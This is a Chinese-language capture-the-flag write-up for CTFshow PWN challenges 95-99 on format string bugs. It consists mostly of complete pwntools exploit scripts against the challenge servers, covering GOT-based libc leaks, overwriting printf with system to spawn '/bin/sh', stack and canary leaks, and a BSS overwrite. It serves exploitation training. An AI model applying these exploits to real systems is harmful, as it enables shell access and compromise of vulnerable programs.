CTFshow PWN 95-99(格式化字符串漏洞)

95–格式化字符串泄露libc

查保护32位

image-20251217175133665

这题没有system了,只能想办法泄露libc查找了

image-20251217175200084

注意泄露这里一定要是s,以printf_got为指针,打印他所指向的内容

而n是将printf_got改成某个值

1
pay = p32(printf_got) + b"%6$s"

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/CTF/pwn (40)')
p = remote('pwn.challenge.ctf.show',28285)
elf = ELF('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recvuntil('\xf7')[-4:])
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------

printf_got = elf.got['printf']
pay = p32(printf_got) + b"%6$s"
sl(pay)
printf_addr = uu32()
lg('printf_addr',printf_addr)

libc = LibcSearcher('printf',printf_addr)
base = printf_addr - libc.dump("printf")
system = base + libc.dump("system")
lg('system',system)

pay = fmtstr_payload(6,{printf_got:system})
sl(pay)
sd("/bin/sh\x00")

inter()

96–格式化泄露栈上内容

分析能看出来将flag传入s1

image-20251217181225779

利用工

image-20251217181210813

用特征来找信息

image-20251217181410575

找到对应的值转成字符串

image-20251217182019989

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *  
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28136)

flag = '' # 初始化flag变量,用于存储最终结
for i in range(6, 6 + 12): # 从第6个参数开始,共12个参数
payload = '%{}$p'.format(str(i)) # 构造格式化字符串payload,打印栈上第 i 个参数的值
io.sendlineafter('$ ', payload) # 发送payload并等待提示符'$ '出现后再发送
leaked_data = io.recvuntil('\n', drop=True).replace('0x', '')
# 接收返回的数据,去除末尾的换行符,并去掉'0x'前缀
aim = unhex(leaked_data)[::-1] # 将十六进制字符串转换为字节并反转
flag += aim # 拼接flag
print(flag)


97–格式化覆盖bss

没开pie保护

过了这个检验就可以输出flag,将其覆盖不为0

image-20251217183101174

image-20251217183110212

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/CTF/pwn (40)')
p = remote('pwn.challenge.ctf.show',28278)
elf = ELF('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recvuntil('\xf7')[-4:])
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#------------------------------------------------------

check = 0x0804B040
offset = 11
pay = fmtstr_payload(offset,{check:1})
sl(pay)

inter()

98–格式化过canary检验

32位有canary保护

image-20251217183349984

有两次gets

image-20251217183337886

发现有后门

image-20251217184447598

这里能看出canary和ebp相距0xc

image-20251218225001265

调试一下,直接看栈空间,-0xc这个位置是栈上作为参数的第15个位置

就将泄露的canary值覆盖到0x34-0xc=0x28后面的位置

image-20251218224921341

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/CTF/pwn (40)')
p = remote('pwn.challenge.ctf.show',28119)
elf = ELF('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recvuntil('\xf7')[-4:])
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------

shell = 0x080486CE
pay = "%15$x"
rv()
sl(pay)
canary = int(rv(),16)
lg("canary",canary)
pay1 = cyclic(0x28) + p32(canary) + b'a'*0xc + p32(shell)
sl(pay1)

inter()

99–fmt盲打

image-20260104184103545

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.log_level = 'error'

test = b'aaaaaaaa' + b'%p ' * 50
offset = 6
def leak(payload):
io = remote('pwn.challenge.ctf.show',28178)
io.recv()
io.sendline(payload)
data = io.recvuntil('\n', drop=True)
if data.startswith(b'0x'):
print(p64(int(data,16)))
io.close()
i = 1
while 1:
payload = '%{}$p'.format(i)
leak(payload)
i += 1

io.interactive()